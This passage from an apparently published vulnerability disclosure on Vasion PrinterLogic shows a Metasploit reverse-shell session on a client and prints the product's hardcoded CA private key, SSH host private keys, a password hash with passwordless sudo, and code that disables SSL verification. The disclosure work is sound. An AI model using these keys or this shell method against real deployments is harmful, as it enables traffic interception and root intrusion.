10.0.19043.1348] ----- C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\bin\idp>whoami whoami [redacted] C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\bin\idp>exit exit [*] 192.168.100.28 - Command shell session 1 closed. Reason: User exit msf6 exploit(multi/handler) > Note that the attacker needs to place a `C:\Program.exe` file inside the target machine. ## Details - Hardcoded Private key for the PrinterLogic CA and Hardcoded password The configuration file of PrinterLogic can be found in `C:\Windows\Temp\Data\clientsettings.dat`. It is an XML file containing some values: Content of `C:\Windows\Temp\Data\clientsettings.dat`: Successful saas Any (specified by url) https://[redacted].printercloud10.com SET [...] [redacted] sha mfpdirect 1 [redacted] Furthermore it contains a custom CA and its associated private key: -----BEGIN CERTIFICATE----- MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4 MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA [...] ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM= -----END CERTIFICATE----- -----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14 OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI [...] a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr 2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg= -----END PRIVATE KEY----- It is possible to confirm this private key is the private key of the public CA by checking modulus - they have the same modulus value: kali% openssl rsa -noout -modulus -in CA.key Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB kali% openssl x509 -noout -modulus -in CA.crt Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB kali% Description of the CA: kali% openssl x509 -in CA.crt -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 0 (0x0) Signature Algorithm: sha512WithRSAEncryption Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority Validity Not Before: Jun 8 01:09:11 2021 GMT Not After : Jun 3 01:09:11 2041 GMT Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (4096 bit) Modulus: 00:ac:e2:e4:d8:ef:01:95:22:cd:78:38:f6:67:13: 1d:f7:5b:05:e0:dd:be:5a:00:41:30:ea:e4:e2:c2: 0b:ad:89:9a:23:52:80:09:ee:1c:ad:90:42:bb:28: 33:81:d5:32:fb:fc:8a:61:2a:6b:49:76:48:b1:2e: 06:58:88:bb:51:8f:37:a3:39:e4:0d:3c:d6:ef:44: e8:3f:4e:d0:40:0d:36:a5:5a:9e:9d:ee:3d:d2:af: [...] ff:0d:b3:98:75:e3:c1:aa:71:93:76:af:6c:24:0a: 8c:99:d1:3d:8f:52:5f:2e:70:37:52:3f:12:cb:98: 55:af:bb Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16 X509v3 Authority Key Identifier: keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16 X509v3 Basic Constraints: CA:TRUE, pathlen:0 Signature Algorithm: sha512WithRSAEncryption 33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74: The same parameters can be found in `C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\defaults.ini`: Content of `C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\defaults.ini`: badge_username=SET caCertificate=-----BEGIN CERTIFICATE----- MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4 MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM [...] cac_subjects= caPrivateKey=-----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14 OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz [...] snmp_3_authentication_key=[redacted] snmp_3_authentication_protocol=sha snmp_3_context_engineID= snmp_3_context_name=mfpdirect snmp_3_enabled=1 snmp_3_privacy_key=[redacted] snmp_3_privacy_protocol=aes snmp_3_security_level=noAuthNoPriv snmp_3_username=SET snmp_alerts_default_state=1 snmp_alerts_enabled=1 snmp_attempts=5 The program PrinterLogic may use this CA to transmit data securely. It may allow an attacker to intercept data. ## Security assessment done in 2022 ## Identification of the solution The audited PrinterLogic version is 20.0.1305. The audited host version is 1.0.730. This PrinterLogic version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Builds.htm (OpenBuild 20.0.1305: January 19, 2022). The update file can be directly retrieved from https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.1305/20.0.1305.gpg. The host version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (Build 1.0.730: December 30th, 2021). Checksums of the audited versions: cc52eed590dc79970df01e7099e36e09a75cf453ebbdabd7dca565341c45ae9e 20.0.1305.gpg 7aac6cfee6d3c16978732215dc5fe63729a5c505afef2d91e99eef9b1eced7a7 printerinstaller-1.0.730.ova The update file has been decrypted using the hardcoded GPG key `45066ADCF538743121004158DD3BA4C62EA82177.key` and the extracted Docker instances have been audited. The solutions use several Docker instances - all the instances have been made up to date, as shown below: PrinterLogic VA version [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] PrinterLogic SaaS version on [redacted].printerlogic10.com [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] ## Structure of the report There are 2 versions of PrinterLogic: - - PrinterLogic Virtual Appliance (`VA`); and - - PrinterLogic SaaS. These 2 versions share the same code base. Consequently, a vulnerability found in one version can be found in the other version with a high confidence. This report lists the vulnerabilities common to the 2 versions and the vulnerabilities specific to the VA version. ## Vulnerabilities affecting PrinterLogic SaaS / PrinterLogic VA ## Details - Hardcoded password for the ubuntu user The appliance contains an undocumented user (`ubuntu`) with a hardcoded password: Content of `/etc/shadow`: kali# cat etc/shadow root:!:18987:0:99999:7::: daemon:*:18484:0:99999:7::: bin:*:18484:0:99999:7::: sys:*:18484:0:99999:7::: sync:*:18484:0:99999:7::: games:*:18484:0:99999:7::: man:*:18484:0:99999:7::: lp:*:18484:0:99999:7::: mail:*:18484:0:99999:7::: news:*:18484:0:99999:7::: uucp:*:18484:0:99999:7::: proxy:*:18484:0:99999:7::: www-data:*:18484:0:99999:7::: backup:*:18484:0:99999:7::: list:*:18484:0:99999:7::: irc:*:18484:0:99999:7::: gnats:*:18484:0:99999:7::: nobody:*:18484:0:99999:7::: systemd-network:*:18484:0:99999:7::: systemd-resolve:*:18484:0:99999:7::: syslog:*:18484:0:99999:7::: messagebus:*:18484:0:99999:7::: _apt:*:18484:0:99999:7::: uuidd:*:18987:0:99999:7::: ntp:*:18987:0:99999:7::: sshd:*:18987:0:99999:7::: statd:*:18987:0:99999:7::: ubuntu:$6$FGlSuvGG$loUn3.OwRauCaM0ZeaV739iM5NF2jCSqCFjslWkPAmnH1VlSiiHmHgar995hkTm3NwbIDkmR4LSZICLsMGcjt.:18989:0:99999:7::: alpine-www-data:*:18987:0:99999:7::: printerlogic:*:18989:0:99999:7::: network:saglzhyIcp5Ng:19012:0:99999:7::: kali# This account is not documented. Futhermore, it has root privileges with sudo, without the password being requested: Content of `/etc/shadow`: root@printerlogic:/var/www/efs_storage/.updates# cat /etc/sudoers [...] #includedir /etc/sudoers.d ubuntu ALL=(ALL) NOPASSWD: ALL %printerlogic_ssh ALL=(ALL) NOPASSWD: ALL root@printerlogic:/var/www/efs_storage/.updates# An attacker who knows the password of an undocumented user (`ubuntu`) will get root access to the appliance using the console. Access using SSH seems to be non-working (`PasswordAuthentication` set to `no` and `AllowGroups` set to `printerlogic_ssh`). ## Details - Hardcoded SSH server keys The private SSH keys are not specific for each installation but are hardcoded, allowing an attacker to decrypt SSH traffic to the appliance: Private SSH keys: root@printerlogic:/etc/ssh# ls -latr total 584 -rw-r--r-- 1 root root 1580 Mar 4 2019 ssh_config -rw-r--r-- 1 root root 553122 Mar 4 2019 moduli -rw-r--r-- 1 root root 338 Dec 26 08:57 ssh_import_id -rw-r--r-- 1 root root 399 Dec 26 08:57 ssh_host_rsa_key.pub -rw------- 1 root root 1675 Dec 26 08:57 ssh_host_rsa_key -rw-r--r-- 1 root root 179 Dec 26 08:57 ssh_host_ecdsa_key.pub -rw------- 1 root root 227 Dec 26 08:57 ssh_host_ecdsa_key -rw-r--r-- 1 root root 99 Dec 26 08:57 ssh_host_ed25519_key.pub -rw------- 1 root root 411 Dec 26 08:57 ssh_host_ed25519_key lrwxrwxrwx 1 root root 29 Dec 28 20:02 sshd_config -> /etc/printercloud/sshd_config drwxr-xr-x 2 root root 4096 Dec 28 20:02 . drwxr-xr-x 96 root root 4096 Jan 21 07:15 .. root@printerlogic:/etc/ssh# cat ssh_host_rsa_key -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAs6TZ/BACNgh025HbJM2TAIRk3d9O4vyDgOabkUvsbEMVvatu M6DFewzMtlXqBKSrB+IEwqDspjGVZmgLLuT56Kxx5KGduloQgQla4hptG3MoG1u3 eu4vgfWdwdBtgv8V+6gg1Crp4jjEw4XRgUFR1lkoDpHhqrHAwsjmveogoDCGmW9O /fcQ7wUqVgq8GAFawtoQS2kWIudUmnH1druX+pdUUkdtKwRHtyAJ9287/1woDUvI iDTm6l8Pc3yntOcV8wxvL6Jcj3/7I7GLYXO4d+Dg6MeTNkPzb7kURT9D4N/T3GHJ v9mZR2N2B/kzOM2Rr6khG5SRKwcZSSdaDwZHjQIDAQABAoIBAA4OcCARAJtJvhsQ Jp2SmFYKBfp2Zq3MJF4JrVKJJk6yURkuOMlBYzJlpf7+aflDCT7sqIKyJNI8Pvxs V7OrpwJVu/Ov0a+rLG9sU/gtKSxkrla1rn2n9X+twFJSBL+jRg0S8r6nPPW+i2bh Kat7ePPUthWtxIKetf6HycZCc5sVD0woKenbQ1YPAlDvOqQfblLsj0akK4MiS+6u K7enOVmCX4mcg3XI9jqbp9Bw90blMGcBSR+AeMunHjxv0+itm6mYVyOGWz+C5Pyh zRGYuHaTP5apZbbHmCsAlPVF/iazxa0A5EmZMIxpw6aB78VlMkhYAHNcdDXbdrVE NLnps+ECgYEA5u8cXQ96MOwuqZGwCd0wy1qT8sxDJOw78WF6pv9t2RV0kMS8g0pW Y8WPx2uJyXJrE4hKfT9rXniENdYxekcUBzLWiCOHMaY07pRsLizypR7WDtbD0JMX KBXH/g/z3Xvi1bkkC7rfjn0kUNImLs4DiUlp1NP+G/xO06AamHoFQ9cCgYEAxySP WN6nWVr7oFIOPKVYOdLDaNGlopI8aF2aiBW1iIsXITUUC7W5q9pOPfLldibgvaVF Ln1s3OgTEVl/FD45FMf/jP6nAq5HOukw6TdpApvzv5qNU5ofqt9Lv0BUaidjae4y GI2wcyWWmwM5V+uKJhN2X0gkQfJuKN5rtUuY4zsCgYALXvy7jFaM8CRADz9mzPBp IvWj//DScZtmAFHExVEIXmkV88oAgPmOAh1ZSW9IbwzcslpQnn3P8gk4iWp4ReWz kQpFO9KdXDzA/qfxAh+Uh9csdeDAdW2veJsXZHuyjTYXJf2jYjk9z+Wo4SAmL9i2 utmuNB4QDLVo8Do/BcsakwKBgQCJvC+pN9ZnZxZCfH58U6AB3lRpWxdEqgA97v/C v8Ee/5Sv0xZaQwZ4ZjVXg3hRj/JBON3wma+B2sHVbiEGz0KLrQiDbF327LM3e7Ho m/p1Y4fjLfIxsJfWhzrMvKGmCjgoPCdJ9DXmbkkMTd6LgM28KBnnLO5m7lZizfOR IQhNoQKBgA6ZqrmgOlITCRazjdUMxBEu1+BXA1OuBsQSKTrX/YZxz7CQxWEyCQjE FKOvT5DC8VebtzEsrdHuTqs4KRJJOLqJyKMCfjaSHNsUnOaS5zHYp/tosx8t9wSp dMp80kPaKWB3E0s+hnQXh3STSsKzYyOolrLFXjvKkCrrNwgo2q/t -----END RSA PRIVATE KEY----- root@printerlogic:/etc/ssh# cat ssh_host_ecdsa_key -----BEGIN EC PRIVATE KEY----- MHcCAQEEIMyVpf/MN5oCJyCpnyVRdxECWvqbMKKCiyYlXBwUTnP6oAoGCCqGSM49 AwEHoUQDQgAEI3uUiNK9u9pWjhL0Sq9TU6w0pyuwHrF5aOybhrPecG73htyEZuD2 uLcF/mYPHRJ93eCVoWKaj6DtxhkGcEVKlQ== -----END EC PRIVATE KEY----- root@printerlogic:/etc/ssh# cat ssh_host_ed25519_key -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQAAAJjmh/ND5ofz QwAAAAtzc2gtZWQyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQ AAAEC1L9xfXxOtAtTJbJv8JygidLOmF3lRX6iuYiUCL18SsuX3P3fP+AhL7qT++YZLYKn+ 1TwxE3y5qXRIAvezhdBxAAAAEXJvb3RAcHJpbnRlcmxvZ2ljAQIDBA== -----END OPENSSH PRIVATE KEY----- root@printerlogic:/etc/ssh# sha256sum * 9fa9dd312da04fbad130b70c96bf9707b8dc72cbdbb304d69bf58f52f94883b4 moduli a39fbc57dc2ef8a473f078d1f6a35f725809400df67070b8852e8ed725047df2 ssh_config 750055f1d4ccc3517430e442faa8e19a47f611e53127de4a68c92e898761896b sshd_config 7544d4035f03765866a1e8f03ff5bc713ecc794c675ce87a925d5a9ff0918905 ssh_host_ecdsa_key f368c137cdbc3fcc9e573b35510896154a890720e6f9e13087de5c2ac4b10c4e ssh_host_ecdsa_key.pub f8d2a063872a82042bb1ec7ed2bb6e77b4bf10d47812461b50c72fbf12093146 ssh_host_ed25519_key 4f3ffad2e07fd9528260bdf58b3d83489d46a94241aa5a728298b7eed0520737 ssh_host_ed25519_key.pub cca460094f777dfc1be24045b2f6e0b5cb5fed62bf0760f4f20f14a56377074b ssh_host_rsa_key fa6050b0f6fe07a3154c9eed9be1242291a02158117a14c09c1d7808aba0888a ssh_host_rsa_key.pub 70f138f006507c07ced8cfe940ea2e8d2137246f5a270f535b0d7e64d070069b ssh_import_id Any attacker can decrypt the SSH traffic to the appliance. ## Details - Insecure communications to printers and insecure communications to micro-services by disabling all SSL verifications When auditing the PHP code, it appears communications to printers are insecure. By default, there is no verification of SSL certificates, as `CURLOPT_SSL_VERIFYHOST` and `CURLOPT_SSL_VERIFYPEER` are set to `false` in a large part of the code base. This means that the solution expressively uses insecure connection to printers, allowing Man-In-The-Middle attacks and disabling any communication security. - From the curl documentation: - - https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html > When the verify value is 0, the connection succeeds regardless of the names in the certificate. Use that ability with caution! - - https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html > WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point. Extraction of curl options from PHP code. Curl options set to insecure values: root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# rgrep CURLOPT_SSL_VERIFYHOST . ./app/console_release/samsung/samsung_rest_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch_check, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/km/konicaminolta_soap_helper.php: //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); ./app/console_release/common/cpa_helper_functions.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/console_release/hp/hp_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/console_release/xerox/removeApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/console_release/xerox/installApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/lib/common/aws/lib/requestcore/requestcore.class.php: curl_setopt($curl_handle, CURLOPT_SSL_VERIFYHOST, true); ./app/app/Helpers/HPSoapHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./app/app/Console/Commands/XeroxSoapClient.php: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYHOST] = 0; ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYHOST] = 2; ./vendor/guzzlehttp/guzzle/CHANGELOG.md:* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in ./vendor/guzzlehttp/guzzle/CHANGELOG.md:* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444) ./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php: curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# rgrep CURLOPT_SSL_VERIFYPEER . ./app/console_release/samsung/samsung_rest_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch_check, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/km/konicaminolta_soap_helper.php: //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/common/cpa_helper_functions.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/console_release/hp/hp_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/console_release/xerox/removeApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/console_release/xerox/installApp.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/lib/common/lightopenid/openid.php: curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); ./app/lib/common/aws/lib/requestcore/requestcore.class.php: curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false); ./app/app/Helpers/HPSoapHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); ./app/app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./app/app/Console/Commands/XeroxSoapClient.php: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYPEER] = false; ./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: $conf[CURLOPT_SSL_VERIFYPEER] = true; ./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php: curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1); root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# A large part of these options are set to false, disabling the security of communications. The lack of checking validity of SSL certificates seems to be a regular pattern. The variables used for SSL verification are also set to false for micro-services. Variables used to be sure no verification of SSL certificates is done in Docker images: kali$ cat ./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env ... API_GATEWAY_URL=https://pi API_GATEWAY_PUBLIC_URL=https://pi.pl-local.com API_GATEWAY_VERIFYSSL=false # PrinterInstaller API API_PRINTERINSTALLER_URL=https://pi API_PRINTERINSTALLER_VERIFYSSL=false # Microservice Authorization Key 